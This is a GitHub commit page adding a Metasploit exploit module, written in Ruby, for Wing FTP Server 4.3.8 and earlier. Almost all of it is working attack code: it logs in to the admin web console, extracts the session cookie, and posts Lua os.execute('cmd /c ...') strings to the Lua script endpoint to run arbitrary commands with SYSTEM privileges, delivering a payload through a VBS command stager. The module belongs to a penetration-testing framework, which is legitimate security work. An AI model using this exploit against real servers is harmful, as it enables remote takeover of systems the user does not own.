Skip to content

Commit 1cdf1c2

Browse files
committed
Land rapid7#3709, @nnam's wing ftp admin console cmd exec
2 parents 40f5814 + 8095b48 commit 1cdf1c2

File tree

1 file changed

+123
-0
lines changed

1 file changed

+123
-0
lines changed
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
include Msf::Exploit::CmdStager
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Wing FTP Server Authenticated Command Execution',
15+
'Description' => %q{
16+
This module exploits the embedded Lua interpreter in the admin web interface for
17+
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
18+
an attacker can use os.execute() to execute arbitrary system commands on
19+
the target with SYSTEM privileges.
20+
},
21+
'Author' =>
22+
[
23+
'Nicholas Nam <nick[at]executionflow.org>'
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
[ 'URL', 'http://www.wftpserver.com' ]
29+
],
30+
'Arch' => ARCH_X86,
31+
'Platform' => 'win',
32+
'Targets' =>
33+
[
34+
[ 'Windows VBS Stager', {} ]
35+
],
36+
'Privileged' => true,
37+
'DisclosureDate' => 'Jun 19 2014',
38+
'DefaultTarget' => 0
39+
))
40+
41+
register_options(
42+
[
43+
Opt::RPORT(5466),
44+
OptString.new('USERNAME', [true, 'Admin username', '']),
45+
OptString.new('PASSWORD', [true, 'Admin password', ''])
46+
], self.class
47+
)
48+
deregister_options('CMDSTAGER::FLAVOR')
49+
end
50+
51+
def check
52+
res = send_request_cgi(
53+
{
54+
'uri' => '/admin_login.html',
55+
'method' => 'GET'
56+
})
57+
58+
if !res
59+
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
60+
elsif res.code != 200
61+
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
62+
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
63+
return Exploit::CheckCode::Appears
64+
end
65+
66+
Exploit::CheckCode::Safe
67+
end
68+
69+
def exploit
70+
username = datastore['USERNAME']
71+
password = datastore['PASSWORD']
72+
@session_cookie = authenticate(username, password)
73+
74+
print_status("#{peer} - Sending payload")
75+
# Execute the cmdstager, max length of the commands is ~1500
76+
execute_cmdstager(flavor: :vbs, linemax: 1500)
77+
end
78+
79+
def execute_command(cmd, _opts = {})
80+
command = "os.execute('cmd /c #{cmd}')"
81+
82+
res = send_request_cgi(
83+
'uri' => '/admin_lua_script.html',
84+
'method' => 'POST',
85+
'cookie' => @session_cookie,
86+
'vars_post' => { 'command' => command }
87+
)
88+
89+
if res && res.code != 200
90+
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
91+
end
92+
end
93+
94+
def authenticate(username, password)
95+
print_status("#{peer} - Authenticating")
96+
res = send_request_cgi(
97+
'uri' => '/admin_loginok.html',
98+
'method' => 'POST',
99+
'vars_post' => {
100+
'username' => username,
101+
'password' => password,
102+
'username_val' => username,
103+
'password_val' => password,
104+
'submit_btn' => '+Login+'
105+
}
106+
)
107+
108+
uidadmin = ''
109+
if !res
110+
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
111+
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
112+
res.get_cookies.split(';').each do |cookie|
113+
cookie.split(',').each do |value|
114+
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
115+
end
116+
end
117+
else
118+
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
119+
end
120+
121+
"UIDADMIN=#{uidadmin}"
122+
end
123+
end

0 commit comments

Comments
 (0)